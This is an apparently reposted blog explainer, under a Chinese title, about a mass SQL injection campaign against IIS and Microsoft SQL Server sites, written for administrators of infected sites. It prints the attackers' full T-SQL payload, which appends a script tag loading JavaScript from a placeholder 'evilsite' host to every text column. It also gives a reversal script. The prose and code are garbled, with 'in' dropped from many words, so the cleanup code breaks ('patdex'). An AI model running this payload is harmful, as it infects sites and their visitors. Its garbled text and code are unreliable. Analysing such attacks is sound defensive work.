外国的注入技巧收集

The attack is targetg Microsoft IIS web servers. Is it exploitg a Microsoft vulnerability?
Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each sgle fection, because the SQL jection exploited to fect the web sites is possible thanks to trivial codg errors.
That said, the attackers are targetg IIS web servers which run ASP for a reason.
Crackers put together a clever SQL procedure capable of pollutg any Microsoft SQL Server database a generic way, with no need of knowg the specific table and fields layouts:

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' @T '] set [' @C '] =
rtrim(convert(varchar,[' @C ']))
''<script src=http://evilsite./1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

This is the “secret sauce” which is allowg the attack to reach its impressive numbers, and it works exclusively agast Microsoft database technology — but it’s a feature, not a bug (no irony tended this time). Anyway, the chances for such “powerful” DB technology of beg used conjunction with web servers different than IIS are very low.
So, to recap:
There’s no Microsoft-specific vulnerability volved: SQL jections can happpen (and do happen) on LAMP and other web application stacks as well.
SQL jections, and therefore these fections, are caused by poor codg practices durg web site development.
Noheless, this mass automated epidemic is due to specific features of Microsoft databases, allowg the exploit code to be generic, rather than tailored for each sgle web site. Update: more details this ment.
In my previous coverage of similar cidents I also assumed a statistical/demographic reason for targetg IIS, sce many ASP developers havg a desk Visual Basic background underwent a pretty traumatic migration to the web the late 90s, and often didn’t really grow enough security awareness to develop safe ter-facg applications.
What should I do if I’m the admistrator of an fected site?
First of all, you should call your web developers (or even better, someone who specializes web application security) and require a full code review to fd and fix the SQL jection bugs.
In the meanwhile you should either put your database offle or recover clean data from a backup, but until the code review is done be prepared to get promised aga. Deployg a web application firewall may mitigate the emergency, but you must understood it’s a merely temporary work-around — the solution is fixg the code (learn from the United Nations tale).
If you’ve got no clean database backup, you could try to recover by brutally reversg the SQL attack:

DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' @T '] set [' @C '] = left(
convert(varchar(8000), [' @C ']),
len(convert(varchar(8000), [' @C '])) - 6 -
patdex(''%tpircs<%'',
reverse(convert(varchar(8000), [' @C '])))
)
where [' @C '] like ''%<script%</script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;

This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appendg the malicious JavaScript with

EXEC(
'update [' @T '] set [' @C '] =
rtrim(convert(varchar,[' @C ']))
''<script src=http://evilsite./1.js></script>'''
);

it locates and removes it with

EXEC(
'update [' @T '] set [' @C '] = left(
convert(varchar(8000), [' @C ']),
len(convert(varchar(8000), [' @C '])) - 6 -
patdex(''%tpircs<%'',
reverse(convert(varchar(8000), [' @C '])))
)
where [' @C '] like ''%<script%</script>'''
);

Notice that I’ve not tested my code above, and I’m just providg it as a courtesy: use it at your own risk, after dog a backup of your data.
Update: now it’s debugged and “tested” (i.e. it works) on SQL Server 2005 (thanks Scott), but the “use it at your own risk” disclaimer still applies.